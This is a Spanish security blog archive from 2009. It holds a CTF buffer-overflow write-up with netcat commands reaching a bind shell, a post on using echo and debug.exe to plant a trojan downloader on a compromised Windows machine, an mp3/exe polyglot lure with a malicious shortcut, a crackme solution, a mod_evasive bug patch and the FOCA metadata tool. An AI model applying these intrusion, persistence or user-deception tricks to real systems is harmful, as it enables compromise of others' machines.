Uhhh bonito Stack Buffer Overflow. Escribiendo 64 bytes sobrescribimos la dirección de retorno de la función actual haciendo que cuando termine salte a donde queramos, esto pinta bien. Ahora solo falta un sitio donde meter las instrucciones que queremos que se ejecuten, la shellcode.

El primer bucle tiene una limitación:

No deja escribir mas de 64 bytes, que casualidad ¿no? Pero teníamos dos bucles, el de la primera y el de la segunda línea.

El segundo bucle se guarda en la dirección 004099F8:

Y permite escribir todos los bytes que queramos hasta encontrar el salto de línea, así que nos sirve perfectamente para meter ahí la shellcode. Pero hay que tener cuidado, fijaos de nuevo en la situación de la pila en el primer bucle cuando íbamos a sobrescribir el valor de retorno, la dirección 0022FDEC (local.3) contiene el valor 004099F8:

Si nuestro primer buffer sobrescribe ese valor el segundo bucle intentara escribir donde le hallamos dicho. A nosotros no nos interesa modificar ese valor, queremos dejarle como está, sobrescribir la dirección de retorno y escribir en el segundo buffer la shellcode.

Voy probando diferentes valores hasta dar con la primera línea a introducir:

64 bytes que dejan intacta la variable utilizada por el segundo buffer y que sobrescriben la dirección de retorno para que al finalizar la función el programa salte al segundo buffer donde meteremos directamente la shellcode.

Para la shellcode use la página de metasploit, que poco h4x0r soy, ¿no?:

Solo hay que tener cuidado con que la shellcode no haga uso del carácter de salto de línea, 0x0A ya que nuestra función busca ese carácter para buscar el fin de las distintas líneas.

Desde la página de retos se suministraba esta dirección para ser atacada:

pwn2.ddtek.biz

Probé con varias shellcodes, hasta probar una para FreeBSD que me funcionó perfectamente.

nc pwn2.ddtek.biz 5832 <>

Argumento pasado:

La shellcode utilizada era una bind shell, vamos que deja un puerto a la escucha en el puerto 6969, pruebo y...eureka:

nc pwn2.ddtek.biz 6969 adsfadsf adsfadsf: not found pwd /usr/home/cabernet ls cabernet.exe key start_server.sh cat key Hacker Joe Where Are You?

Esta última cadena era la necesaria para superar el reto, 100 puntos. Al finalizar el maratón 800 puntos logró alcanzar mi equipo, McLoving, que buen nombre :D

Los Sexy pandas, un gran equipo español, terminaron terceros. Que genios. Suerte en Las Vegas fieras!

Si queréis aprender mas sobre el tema: Smashing The Stack For Fun And Profit

La gorda FOCA

2009-04-21T01:04:00.003+02:00

Todo empezó cuando me liaron con una aplicación destinada a extraer y eliminar los metadatos de documentos OpenOffice, OOMetaExtractor.

“La cosa” se fue descontrolando, al poco tiempo ya trataba documentos de Office desde la versión 97 a la 2007 y mas tarde PDFs. Pero la cosa nostra, no quedó ahí. Pensamos que sería cómodo que buscara y descargara documentos usado los buscadores Google y LiveSearch. Y así se hizo.

Una vez que la bola de nieve empieza a rodar…no hay quien la pare. El programa pintaba bien, así que requería una buena interfaz, iconos para todo, menús con todo tipo de opciones, colores y sabores.

Mirad cuantos colorines !!!

¿Y qué es de un programa sin un buen nombre? Como todo buen nombre primero se eligen las siglas, que sean impactantes, por ejemplo FOCA, un nombre fácil de recordar aunque no demasiado descriptivo... El significado de las siglas vino, creo recordar, acompañado de un buen vino , Fingerprinting Organizations with Collected Archives.

Aun quedaban mejoras por hacer. Pensamos que sería cómodo bajarse todos los documentos de una web, por ejemplo la casa blanca, sacar todos los usuarios de los metadatos, ponerlos todos juntos para guardarlos en un fichero y usarlos por ejemplo para hacer fuerza bruta o guardar los emails para “anunciar” nuestra potenciada viagra > Mas código, mas menús, mas ventanas.

Durante todo el proceso, Chema Alonso y Enrique Rando probaron insaciablemente todas las opciones y examinaron los metadatos extraídos proponiendo muchas mejoras y metadatos extra. Así que se fueron incorporando las versiones antiguas, el historial de edición y la información EXIF de las imágenes incrustadas > Mas código, mas menús , mas ventanas.

La cosa apunto de explotar

Ya por último decidimos que sería interesante coger todos los documentos editados por un mismo usuario y juntar los metadatos considerándolos del mismo equipo, así poder interpretar mas fácilmente toda la maraña de metadatos obtenidos. Así surgió la opción Analize Metadata > Mas y mas código.

La cosa llego muy lejos, hace unos días Chema Alonso y Enrique Rando hablaron en la BlackHat Europe sobre la herramienta y los metadatos. Y con motivo de tan especial ocasión la FOCA fue liberada: Descarga, necesitáis .NET Framework 3.5, preferiblemente en Windows Vista o Windows Server 2008 .

Manual de usuario (en construcción) (las imágenes fueron robadas de él): FOCA, manual de usuario I de IV FOCA, manual de usuario II de IV FOCA, manual de usuario III de IV FOCA, manual de usuario IV de IV

Mas información relacionada

Tened cuidado, suele morder a los desconocidos.

¿Fallo de programación en mod_evasive?

2009-04-16T20:22:00.003+02:00

mod_evasive es un módulo de apache que sirve para “esquivar” ataques de denegación de servicio. Detecta cuando un cliente está realizando excesivas peticiones y bloquea temporalmente su acceso o realiza otra acción configurable.

Hay muchos “manuales” para instalar y configurar mod_evasive. Lo mas importante son los valores configurables en httpd.conf para definir su comportamiento, por defecto viene configurado así:

DOSHashTableSize 3097 DOSPageCount 2 DOSSiteCount 50 DOSPageInterval 1 DOSSiteInterval 1 DOSBlockingPeriod 10

Significando de DOSPageCount y DOSPageInterval, sacado de emezeta.com:

DOSPageCount / DOSPageInterval: Máximo (umbral) que se debe alcanzar para ser incluído en la lista de bloqueados. En este caso el objetivo será una página concreta. (Entiendase como «Máximo de DOSPageCount páginas en DOSPageInterval segundos»).

Por defecto el máximo está establecido a 2 páginas por segundo.

Genial, es muy útil, aunque no es raro que un cliente legítimo realice en un momento puntual 2 peticiones a una misma página en menos de un segundo, abriendo pestañas, algún script de recarga, o un php de acceso a imágenes…

Me parece mucho mas adecuado que bloquee una IP cuando ese índice de peticiones por segundo se perpetua en el tiempo. Por ejemplo 20 peticiones en 10 segundos, 2 peticiones por segundo durante 10 segundos (si, aprendí a multiplicar recientemente).

Así que establecí los siguientes valores en la configuración de mod_evasive:

DOSPageCount 20 DOSPageInterval 10

apache reload y a gozar.

Al rato vi como se estaban bloqueando IPs que en principio no deberían ser bloqueadas. Verifiqué el access_log de apache y efectivamente, estaban realizando como mucho 5 peticiones cada 10 segundos. Un valor 4 veces menor(incluso sé dividir), muy lejano al máximo de 20 peticiones cada 10 segundos que hemos configurado. Lo verifiqué manualmente y en efecto, realizando una petición cada 5 segundos a las 20-21ava petición mod_evasive me bloqueaba.

Probé con diferentes valores, rango mas amplios, reiniciar apache, reinstalar y nada, esa cosa no funcionaba como decía. Maldita sea !

Estaba claro, yo no estaba entendiendo bien que significaban esos valores, porque sería muymuy raro que un módulo tan usado fallase en algo tan básico, ¿no? Así que me dispuse a leer la documentación oficial, el mítico README, que decía mas o menos lo mismo que lo que pegue arriba. Así que se me ocurrió la locura de echar un ojo al código fuente: “quizás ahí este explicado o vea una formula que explique su funcionamiento”.

El código, localizado en mod_evasive20.c, se puede entender, al menos la parte donde hace la verificación de si una IP está atacando o no.

Resumen de los valores de las variables al realizar la comprobación:

t: Tiempo actual en segundos. Inicializado como: time_t t = time(NULL);
n->timestamp: n es una tabla que se usa para relacionar URL-Numero de peticiones-Timestamp. timestamp es una “marca de tiempo” que se establece en la primera petición y es actualizada cada DOSPageInterval segundos, en nuestro caso cada 10 segundos.
page_interval: Tiene el valor establecido en httpd.conf, DOSPageInterval. Intervalo en segundos durante el cual se medirá si se ha alcanzado el límite de peticiones. Como acabamos de decir, 10 segundos en nuestro caso.
n->count: Número de peticiones realizadas a una misma página web, el valor se resetea cada DOSPageInterval segundos, en nuestro caso cada 10 segundos.
page_count: Tiene el valor configurado en httpd.conf, DOSPageCount. Máximo número de peticiones que se puede realizar a una misma página web. En nuestro caso 20.

Así podemos ver como la primera parte de la condición mira si desde el timestamp hasta el momento actual han transcurrido menos de 10 segundos, si esto ocurre pasa a la segunda parte de la condición que verifica si el número de peticiones realizadas es mayor que el máximo numero de peticiones permitidas.

Todo perfecto en teoría, pero a mi me funcionaba mal, así que hice un debug chapucero usando el macro LOG que añade un mensaje al log del sistema /var/log/syslog.

Recompilamos ./apxs -cia mod_evasive20.c Recargamos la configuración de apache /etc/init.d/apache reload

Y empezamos a hacer una petición cada 5 segundos mientras miramos el syslog tailf –f /var/log/syslog | grep mod_evasive

*Paint art

Como esperábamos cada 5 segundos se realiza una petición, hasta alcanzar las 6 peticiones de un máximo de 20. Pero esto sigue hasta que…

Pero como es posible, está ****** nos banea con 20 peticiones en 200 segundos !!! El error parece estar en que nunca resetea el n->count y en teoría cada 20 segundos debería resetearlo. Veamos en el código en que parte lo resetea…

Cuando el tiempo actual en segundos, t, menos la marca de tiempo inicial, n->timestamp, es mayor que el intervalo de tiempo, 10, se resetea n->count. Es decir, una vez pasados los 10 primeros segundos debería resetear el contador n->count, pero en los “logs” vemos que hay un problema, n->timestamp se actualiza constantemente con el valor de la anterior petición (Señalado en azul).

La idea es que este timestamp se actualice solo cuando el contador se pone a 0

*Paint genius

Recompilamos, reiniciamos y vemos el log

Esto ya tiene mejor pinta, el contador n->count se resetea cada 10 segundos y el valor n->timestamp también. De modo que ahora si, solo bloqueará a aquellas IPs que hagan mas de 20 peticiones en 10 segundos.

Este mismo cambio hay que realizarle otra vez en la comprobación de páginas del sitio visitadas, situado unas pocas lineas mas abajo.

He intentado contactar con el autor de este modulo, para que me verificase que era un fallo y no una mala interpretación mía. Pero el modulo es de hace 4 años así que posiblemente el autor haya cambiado de correo.

mod_evasive es muy conocido y usado, es increíble que nadie haya notado que no funciona como debe o que no se hayan mirado el código fuente, de ahí mis dudas sobre si no estaré equivocado yo. Aunque por otra parte en la configuración por defecto se usa un valor de DOSPageInterval de 1 y entonces la continua actualización de n->timestamp no entorpece el resto de comprobaciones, ya que solo se actualizará cada segundo (no tiene precisión de milisegundos) y si se realizan X peticiones por cada segundo serán detectadas correctamente.

Editado a 02/02/2011 A continuación pongo el parche que ha dejado Antonio en los comentarios:

El parche es este: --- mod_evasive20.c.orig 2005-10-08 21:01:18.000000000 +0200 +++ mod_evasive20.c 2011-02-02 18:00:25.000000000 +0100 @@ -168,9 +168,9 @@ /* Reset our hit count list as necessary */ if (t-n->timestamp>=page_interval) { n->count=0; + n->timestamp = t; } } - n->timestamp = t; n->count++; } else { ntt_insert(hit_list, hash_key, t); @@ -190,9 +190,9 @@ /* Reset our hit count list as necessary */ if (t-n->timestamp>=site_interval) { n->count=0; + n->timestamp = t; } } - n->timestamp = t; n->count++; } else { ntt_insert(hit_list, hash_key, t); lo copiamos y pegamos en un fichero, por ejemplo mod_evasive.patch, dentro del directorio mod_evasive, aplicamos el parche con: patch -p0 < ../mod_evasive.patch

Usar debug para generar ficheros ejecutables

2009-04-15T21:05:00.002+02:00

Supongamos que hemos conseguido explotar satisfactoriamente un fallo remoto en un sistema operativo Windows y tenemos acceso mediante una shell a dicho sistema. O Dicho de otro modo, hemos usado Metasploit para petar el ordenador del vecino y ahora tenemos un cmd de su sistema :|

El siguiente paso será ejecutar una herramienta de administración remota para “asegurarnos” la permanencia en su sistema. Pero bueno solo tenemos una shell, tendremos que descargarnos el RAT, ¿no?

Para ello se podría usar ftp.exe, si pero no siempre es posible, quizás el sistema no nos deje (permisos) o el firewall no nos permita acceder a ningún FTP.

A primera vista se nos puede ocurrir usar el comando echo para escribir valores hexadecimales sobre un fichero de salida, pero el comando no soporta valores hexadecimales como entrada, que raro, ¿no?

Lo que se puede usar es el comando echo para generar un fichero que pueda interpretar correctamente el comando debug y así generar el archivo que queramos. Con estos dos comandos podemos crear cualquier fichero en el sistema. Perfecto para generar un troyano o mejor un mini-downloader que baje el troyano.

Aquí se explica detalladamente como conseguirlo, con imágenes explicativas !

Resumiendo, hay un par de programas que una vez seleccionado un fichero te crean un bat con todos los echos y comandos necesarios para generar dicho fichero en un sistema remoto. Después, ya solo sería cuestión de tener paciencia e ir ejecutando cada línea de dicho bat en el sistema remoto.

Programas:

File2dbg
BHB 2.0 (Binary in Batch)

Solución al reto 1 de Panda (III parte, las dos comprobaciones)

2009-04-08T23:35:00.002+02:00

-------------------------------------------------------------------- Solución al reto 1 de Panda (I parte, fracaso absoluto) Solución al reto 1 de Panda (II parte, FPqué!?) Solución al reto 1 de Panda (III parte, las dos comprobaciones) -------------------------------------------------------------------- En anteriores episodios, localizamos dos zonas vitales para que nuestro serial fuera tomado como valido. Primero una comprobación, un salto que nos lleva a la zona de password incorrecto, “bad!” y una variable que tiene que tener un determinado valor, 4, para mostrar el mensaje correcto, “yes!”.

Empecemos por la primera comparación.

Empezamos desde el salto condicional JNZ resaltado en amarillo hacia atrás. JNZ, realiza el salto cuando el flag Zero no está activado, vale 0. En nuestro caso esto es así.

Por esta razón el salto es tomado y llegamos a la zona de printf “bad!” :(. Podríamos cambiar el flag manualmente a 1 o invertir el salto y seguir la ejecución, pero nuestro objetivo es conseguir un password correcto no forzar a que muestre el mensaje correcto.

Así que manos a la obra, hay que analizar las instrucciones anteriores al JNZ.

La instrucción inmediatamente anterior al JNZ es XOR AH, 40 Queremos que el flag zero se active, así que esa instrucción tiene que dar como resultado 0, por ello AH debe valer 40 en ese punto.

Vamos a ir analizando mas rápidamente el resto las instrucciones, tened en cuenta que se hace en orden inverso, primero las que se ejecutarán últimas:

AND AH, 45: Quedamos en que AH tenía que valer 40 tras esta operación, si se le va a aplicar un “AND 45”, AH tiene que tener el bit 6 activado (correspondiente al segundo 4) y los bits 2 y 0 desactivados (correspondientes al primer 5). Puede resultar confuso, si, mirad esta representación para aclaraos:
En los bits marcados con x da igual el valor que tengan ya que el AND cuando se le aplica un 0 siempre devuelve un 0 independientemente del otro bit.
FSTSW AX: Esta instrucción guarda en AX el valor de los bits de condición de la FPU, mas info. ¿Qué diablos son esos bits? Pues los que indican el resultado de una comparación de dos floats. Puede verse en los registros.

El valor de FST se guarda en AX. Recordad que antes las operaciones se han hecho sobre AH (la parte alta del registro AX), que descartamos la parte baja AL, 8 bits. Así que queremos que el bit 6+8, 14, del FST valga 1 y que los bits 2+8,10 y 0+8,8 valgan 0. Ollydbg puede confundir con su descomposición del registro FST. El contenido desglosado de FST es el siguiente.
Como vemos el bit 14 corresponde a el bit C3(Z) de los Condition Code. El bit 10 al C2(C) y el bit 8 al C0(S). Cuando estos bits se activan justo como requiere el programa significa que la FPU ha comparado dos número que eran iguales. Seguimos con las instrucciones previas, omitiendo aquellas que no hagan nada interesante:
FUCOMPP: Compara los números de la FPU ST(0) y ST(1)
Así que esos dos números tendrían que ser iguales, ¿no?
FXCH ST(1): Intercambia los registros ST(0) y ST(1)
FILD WORD PTR SS:[ESP]: Carga en ST(0), el tope de la pila de la FPU, el valor apuntado por la cima de la pila, y si hubiese algo en ST(0) lo desplaza a ST(1).
PUSH EAX: El valor que acababa de cargar en la FPU es EAX, que lo mete en la pila previamente.
CBW: Convierte un byte, AL, en palabra, AX, rellenando con ceros…pues fale.
MOV AL,BYTE PTR SS:[EBP-21]: Mueve a AL el carácter introducido, ¿que cómo sabemos que en EBP-21 estaba el carácter? Acudiendo a nuestro scanf inicial.
FMULP ST(1),ST: Se multiplican ST(0) y ST(1)
FLD [LOCAL.8]: Carga en la pila de la FPU el %f2
FILD DWORD PTR SS:[ESP]: Carga en la FPU el valor de la cima de la pila
PUSH EAX: Pone en la pila EAX
MOV EAX,[LOCAL.12]: Pone en EAX la variable LOCAL.12, que aun no sabemos que es…
FISTP [LOCAL.12]: Guarda en LOCAL.12 el valor ST(0)
FLD [LOCAL.7]: Pone en ST(0) %f1

Recapitulemos:

Se carga en la FPU %f1
Lo saca y lo vuelve a meter, así me gusta nena, pero sigue estando %f1 en la FPU, ST(0)
Se carga en la FPU %f2 en ST(0), ahora %f1 está en ST(1) Para %f1 = 1 y %f2 = 97
Se multiplican estos dos valores
Mete en la FPU el valor ASCII del carácter %c
Compara los dos números

De modo que un password como esté: “1-1-97-a” debería superar la primera condición. 1*97 == ASCII(‘a’)

Probémoslo, ponemos un breakpoint antes del maldito JNZ, introducimos el posible password vemos que camino toma el salto.

JNZ no salta (la flecha esta de color gris), por lo que llega al JMP que le aleja de el printf que nos dice que el password era incorrecto. Perfecto !!

Uff, esto de analizarlo al revés es una locura. Pero nos ahorra analizar algunas instrucciones aunque ahora no nos ha servidor de mucho después nos ahorraremos un buen cacho de análisis.

Pasamos al segundo requisito para que un password sea correcto. que el desplazamiento visto en el capítulo anterior, almacenado en LOCAL.4, valga 4. Recordamos…

Buscamos donde se asigna una valor a LOCAL.4, se encuentra casi al principio, cerca del scanf.

Se le asigna el valor de EAX, justo después de de esa función. Esto es típico, cuando una función devuelve un valor, realmente se almacena en EAX. Hay que fijarse que la función solo se le pasan %f1 (argumento 3) y %d (argumento 1) así que en principio no usará el resto de números introducidos.

Entramos en la función, la seleccionamos y pulsamos intro. Una vez dentro de la función vamos al final de está. Tracearemos desde el final al principio buscando que hace falta para que EAX valga 4.

EAX vale lo que contenga LOCAL.18. A esta instrucción de puede llegar desde tres lugares. Desde la instrucción justamente anterior, MOV [LOCAL.17], EDX. Y desde dos saltos. Para localizarlos seguimos la línea roja de la muerte.

Desde cualquiera de los dos saltos LOCAL.18 vale 0 y por lo tanto EAX también. Esto no puede ocurrir ! Ponemos un breakpoint en los dos saltos, con el fin de determinar si alguno de los dos es tomado. Ejecutamos el programa e introducimos “1-1-97-a”. Vemos que en el primer salto ni se para, una comparación anterior hace que no se llegue hasta ahí. En el segundo alto si se para y…salta, por lo que LOCAL.18 valdrá 0, EAX 0 y … “bad!”.

Bueno está claro que la culpa es del JE(Jump if Equal) anterior si hubiese sido “Equal” hubiese ignorado este JMP maldito.

Analizamos las instrucciones anteriores al JE.

A destacar que EAX y LOCAL.16 tienen que valer lo mismo. EAX resulta de la suma de EAX y EBX. Ponemos un breakpoint en ADD EAX, EBX para observar que valores toma con diferentes passwords.

Sea cual sea el password introducido, EAX siempre vale 1 y EBX 3. Así que EAX terminará conteniendo el valor 4 (EAX += EBX).

Recordamos que antes hemos quedado en que EAX y LOCAL.16 tenían que valer lo mismo, y EAX sabemos que siempre vale 4. Así que buscamos cual es la última asignación realizada a LOCAL.16.

La encontramos ahí, tras analizar las instrucciones vemos como LOCAL.16 es cargada a partir de LOCAL.7 la cual es cargada a partir de ARG.3, que como hemos visto al entrar a esta función es %f1.

Ahora con todas las piezas disponibles, montamos el puzzle. EAX y LOCAL.16 tenían que valer lo mismo, EAX siempre valía 4, así que LOCAL.16 tiene que valer 4 y LOCAL.16 coge el valor de %f1. Así que %f1 tiene que valer 4.

Pero no olvidemos que %f1*%f2 = %c 4*%f2 = %c Si %f2 vale 25 por ejemplo 100 = %c = ‘d’

Pues ahí lo tenemos. El primer número, %d, no se ha usado para nada, así que le damos un valor aleatorio. %f1 tiene que valer 4. %f2 le damos el valor de 25. %c tiene que ser igual al valor ASCII de %f1*%f2, 100, ‘d’.

Y colorín colorado, un password correcto es: 1-4-25-d

Eureka ! Tarde unas 6 horas en sacarlo, soy un cracker de pacotilla. Envíe la solución 14 horas después del inicio del reto así que me quedaré sin camiseta, solo los 5 primeros la reciben.

Shaddy, un amigo que lo resolvió antes que yo, ha publicado también una solución que seguramente esté mejor explicada que esto. Solución en Megaupload Solución en GoogleGroups

Si queréis aprender sobre ingeniería inversa, este curso de Ricardo Narvaja es un buen comienzo, y la lista de google de crackslatinos un buen camino.

Solución al reto 1 de Panda (II parte, FPqué!?)

2009-04-07T22:25:00.003+02:00

-------------------------------------------------------------------- Solución al reto 1 de Panda (I parte, fracaso absoluto) Solución al reto 1 de Panda (II parte, FPqué!?) Solución al reto 1 de Panda (III parte, las dos comprobaciones) -------------------------------------------------------------------- En la anterior entrada hemos llegado a la conclusión de que las operaciones realizadas para verificar un password introducido no son triviales. Al menos sabemos el formato que debe tener: %d-%f-%f-%c. Y parece que se realizan operaciones con la FPU, algo no muy habitual.

Vamos a ojear que operaciones se hacen a continuación del scanf para intentar encontrar donde verifica si nuestro password es correcto o no.

Como vemos, se copian a los registros ecx y eax, los valores %d y %f1 introducidos y se llama a una función. Así que sabemos que posiblemente esa función haga algún tipo de comparaciones con esos dos valores.

Entramos a la función con F7 y observamos horrorizados el paisaje, el desensamblado.

Es una función muy larga y usa un montón de operaciones de la FPU. Yo, ciego por las prisas, no se me ocurre otra cosa que pensar que lo mejor sería ponerse manos a la obra y empezar a analizar todo lo que hace la función.

Ahí se puede observar como comenté gran parte de las instrucciones, bieeeen. Lo bueno es que aprendí algo sobre el funcionamiento de la FPU, lo malo es que tras analizar algunas instrucciones mas llegué a la conclusión de que eso no estaba haciendo nada con sentido. Reescribía valores obtenidos de anteriores operaciones, realizaba operaciones sin sentido o que provocaban algún tipo de error en la FPU, etc. Estaba perdiendo el tiempo.

Lo peor de todo es que no estaba seguro de si el programa hacia un uso “avanzado” de la FPU y no era capaz de comprender qué operaciones se estaban realizando.

Así que momentáneamente me desesperé y lo di por imposible. Y es en estos momentos en los que uno piensa, recapacita, pero no mucho.

Pensé en que lo mejor sería, como se dice en los primeros tutoriales de cracking, encontrar “el chico bueno” y “el chico malo”. El mensaje que nos diga que hemos superado la protección y el mensaje que nos diga que no lo hemos hecho. El segundo ya lo tenemos es el mensaje “bad!”. ¿Pero y el chico bueno? ¿Qué imprime el programa cuando introducimos un serial válido?, y lo mas importante, ¿cuándo y porqué lo hace?.

Umm, vamos a ver que APIs usa, quizás eso nos aclare un poco las ideas. Botón derecho sobre la zona central “Search for > Name (label) in current module”

Como ya sabíamos se usan las funciones printf y scanf. printf se usará para mostrar lo de “Password:”, a continuación se utiliza scanf para recoger lo que escribimos y de nuevo un printf para decirnos si es correcto o no.

Entonces busquemos todos los sitios donde se usa printf, en alguno de ellos se tendrá que imprimir un mensaje parecido a “Conseguido”. Clic derecho sobre printf, “Find references to import”.

Hay 3, ya que la última corresponde a la IAT. Pulsamos sobre cada referencia y vemos que parámetros se le pasan a printf en las 3 situaciones.

El primero estamos seguros que no es. Los otros dos pues depende de lo que se le valgan los parámetros LOCAL.3 y EAX en su debido momento. Si nos fijamos en el código y buscamos operaciones que modifiquen la variable LOCAL.3 vemos que solo se modifica al principio, asignándole el valor “bad!”.

Podemos verificar que en 403030 se encuentra la cadena “bad” y que casualidad, unos bytes mas adelante está la cadena “yes”, ¿será lo que buscamos?

Así que sabemos que el segundo printf imprime siempre “bad!”. Seguramente se llegue aquí después de alguna comprobación que determine que nuestro serial es incorrecto. De hecho un par de instrucciones antes del segundo printf hay una comparación apetitosa.

Si no se activa el flag zero en las operaciones anteriores al JNZ nos lleva al segundo printf que imprime siempre bad :( Mas adelante tendremos que revisar como evitar esto. pero antes vamos a echar un ojo al último printf.

Al tercer printf se le pasa el registro EAX, donde estará la dirección de lo que imprimirá. Como podemos ver en el código, EAX vale la suma de la dirección de la cadena “bad” + un desplazamiento sacado de LOCAL.4

Sabemos, porque lo vimos en el anterior, que la variable LOCAL.3 se mantiene siempre con la dirección de la cadena “bad”. Y que si la variable LOCAL.4 vale 0, se imprimirá “bad!”, pero si LOCAL.4 vale 4, se imprimiría “yes!”.

Resumiendo. Sabemos que hay una comprobación que si no se cumple nos llevará al segundo printf, mostrando “bad!”. Y que el tercer printf nos mostrará el mensaje “yes!” si conseguimos que LOCAL.4 valga 4. Ya tenemos mas o menos analizadas las condiciones necesarias para que un serial sea correcto, en la siguiente entrada veremos como conseguir que esto ocurra…

Solución al reto 1 de Panda (I parte, fracaso absoluto)

2009-04-06T23:49:00.006+02:00

El día 1 de este mes, abril, Panda organizó unos retos orientados al estudio de las aplicaciones o ingeniería inversa, vamos, al cracking.

En total eran 3 retos separados en el tiempo, el primero de cada uno se llevaba un jugoso premio, una PSP, un IPOD y un miniportátil.

Yo me enteré de los retos el mismo día que salió el primero gracias a Pedro Laguna. El primer reto aún puede encontrarse en su web. Mirror en google groups

Tras abrirlo vemos una ventana de consola pidiéndonos un password:

Incorrecto, ya decía yo que no podía tener tanta suerte. Lo abrimos con OllyDbg

No se ve nada interesante a primera vista. Lo primero que se me ocurre es buscar las cadenas que usa el programa para localizar la cadena “bad!” que imprime cuando introducimos un password incorrecto y encontrar la cadena que se mostrará cuando el password sea correcto. Botón derecho sobre la zona central, “Search for > All referenced text strings”.

Encuentro:

“bad!”, la cadena mostrada cuando se introduce el password incorrectamente
“Password: ”, lo que imprime printf al comienzo
“%d-%f-%f-%c”, parece una típica cadena de formato usada en scanf, tendría sentido ya que espera un entero, guion, dos float separados por guión y un carácter. Algo así 1234-678.45-234,43-T
“%s!”, a saber puede ser el formato cadena usado en printf o scanf

Lo raro es que no encontramos ninguna cadena que nos muestre que hemos introducido el password correctamente.

Ahora se me ocurren varias posibilidades.

Inspeccionar las instrucciones que hagan uso de la cadena “bad!” , antes de llegar ahí tiene que haber una comparación que nos lleve a la zona buena o a esta mala. Lo malo es que puede ser mucho antes e ir de adelante hacia atrás es mas complicado.
Ver donde se usa la cadena de formato típica de scanf y tracear hacía delante viendo que se hace con los valores introducidos hasta llegar a una zona que decida si mostrarnos el mensaje bueno o malo.

Sigamos la segunda ya que el programa no parece muy largo. Botón derecho sobre la posible cadena de formato “Follow in Disassembler”

Pues si, va a ser una cadena usada por scanf. Sabemos que los 5 parámetros insertados en la pila antes de llamar a scanf serán:

La dirección de la cadena de formato
La dirección donde se guardará el primer entero, %d
La dirección donde se guardará el primer float, %f1
La dirección donde se guardará el segundo float, %f2
La dirección donde se guardará el carácter %c

Ponemos un breakpoint en el CALL scanf, ejecutamos, tras parar en el breakpoint vemos el estado de la pila, encontramos todos los parámetros pasados al CALL:

Podemos poner un breakpoint en cada una de las 4 direcciones para que el programa detenga su ejecución cuando se lean o escriban esos parámetros. De este modo tendríamos una idea de las operaciones que se hace con los números que introducimos para verificar si es un password correcto o no.

Haremos eso, seleccionamos cada dirección del stack, clic derecho, “Follow in dump”.

Seleccionamos los 4 primeros bytes que es lo que ocupa un entero, botón derecho “Breakpoint > Hardware, on access > Dword”. Seguimos el mismo procedimiento para los otros 3 valores, teniendo en cuenta que un float también ocupa 4 bytes y un carácter ocupa uno.

Perfecto, ahora recordemos que el programa lo tenemos parado en el breakpoint que pusimos a la instrucción Call scanf. Así que pulsamos F8 para ejecutar scanf.

El programa estará a la espera de que introduzcamos el password por la consola, nosotros introduciremos el valor “1-2.0-3.0-A”.

El programa parará varias veces ya que accede a las zonas de memoria donde guarda los valores recogidos desde la consola y donde pusimos los hardware breakpoint. Pulsamos F9 hasta ver que nos encontramos en la siguiente instrucción del CALL scanf.

Podremos comprobar en el DUMP, que en las direcciones que vimos en la pila se sitúan los valores que hemos introducido por consola.

Vemos la ‘A’, 40400000, 40000000 y 00000001. Recordad que se usa Little-Endian. Los dos float, se almacenan en coma flotante de ahí que no se distinga a primera vista el 2.0 y el 3.0.

Seguimos pulsando F9 y vemos que el programa se va deteniendo según usa los valores recogidos desde la consola. Vemos que se detiene a veces en instrucciones muy raras.

Buscando con el perrito del ciego de lycos, encontramos que son instrucciones del coprocesador matemático, la FPU, “operaciones para trabajar con números en coma flotante”. Mierda !

Seguimos pulsando F9 y deteniéndonos por los malditos hardware breakpoints. Hasta que el programa finaliza sin habernos dado cuenta de que ha pasado.

Doble mierda, plan fallido ! Mi idea era que durante el progreso hubiese encontrado cómo fácilmente se mueven los valores a los registros habituales y se usan instrucciones comunes para compararlos con algún valor esperado. Pero lo mas cercano que he encontrado han sido un montón de instrucciones raras de la FPU.

Primera aproximación fallida. Tendremos que ir poco a poco viendo lo que hacen instrucciones posteriores al scanf, hasta comprender porque nuestro password no es correcto.

Continuará...

El mp3 ejecutable

2009-03-27T02:07:00.002+01:00

Esto de aquí arriba es una bonita canción de Metallica ... o eso parece.

Si, tras escucharla he verificado que es una hermosa canción de Metallica. Tan bonita, tan bonita que me apetece verla hexadecimalmente, seguro que sigue los esquemas binarios mas armónicos del mundo !!

¿MZ? Eso no era lo de...como era...si, eso del msdos, los ejecutables y tal, no? No se yo...que raro es esto, ¿perooo ... no era una canción?. Voy a renombrar el archivo a exe a ver que me dice windows.

Vaya, parece que se ejecuta y me muestra ese cartel. Pero ¿cómo es posible que sea un mp3 y un exe al mismo tiempo?

Por lo que comentan en este enlace, el formato mp3 se compone de varios frames que no están en posiciones fijas. Y que para reproducir un mp3 lo primero que se hace es hallar el primer frame. Así que en teoría antes del primer frame puede haber lo que quiera, incluso un exe. El reproductor de música buscará el primer frame saltándose toda la basura inicial e ignorando el posible ejecutable.

Así que tenemos un archivo que, según la extensión que tenga, windows lo ejecuta correctamente como un ejecutable o lo envía al reproductor por defecto el cual lo interpreta adecuadamente como un mp3 válido.

Umm pero y como lo ejecutará el comando start de cmd, ¿cómo exe o cómo mp3?

Como un ejecutable, parece que omite la extensión y se fija en la cabecera del fichero. Interesante....

Si, interesante porque alguien podría hacer acceso directo que ejecutase el comando "cmd.exe /c metallica.mp3" /C Ejecuta el comando especificado en cadena y luego finaliza

*Nótese el atractivo titulo del acceso directo

cmd.exe interpretaría el archivo como un fichero ejecutable y ... BOOM.

De aquí podéis descargar el fabuloso disco de Metallica (en realidad es un solo mp3-exe y el malvado acceso directo). El incauto usuario se lo baja y desolado comprueba que no es todo el disco, es una sola canción.

Tras escucharla se fija en ese link que dice llevarle a la página donde podrá bajarse el disco completo, pero tras pulsarlo...

Windows le muestra un extraño cartel y decide ir a tienda a comprarse el disco original que seguro que acaba antes.

El pobre usuario ha sido contaminado por los virus mas horripilantes de la faz de la tierra y Metallica conquista el corazón de otro fiel seguidor.

*Nota: El ejecutable podría en vez de mostrar un cartel, mostrar la página web a la que aparenta llevar el link y hacer otras atroces acciones. De modo que todo funciona como debería...aparentemente.

Dedicatoria: Esto me lo he encontrado gracias a HacKDarK, en un post en el que se retaba a los usuarios a comprobar si un archivo estaba infectado o no. Pero él no había subido un exe, sino "el mp3xe" :D

La botnet de routers

2009-03-25T21:44:00.003+01:00

Hace-unos-meses-comentaba como los routers eran perfectos para redireccionar nuestras conexiones y aumentar un poco el anonimato o acceder a servidores con una IP distinta a la nuestra.

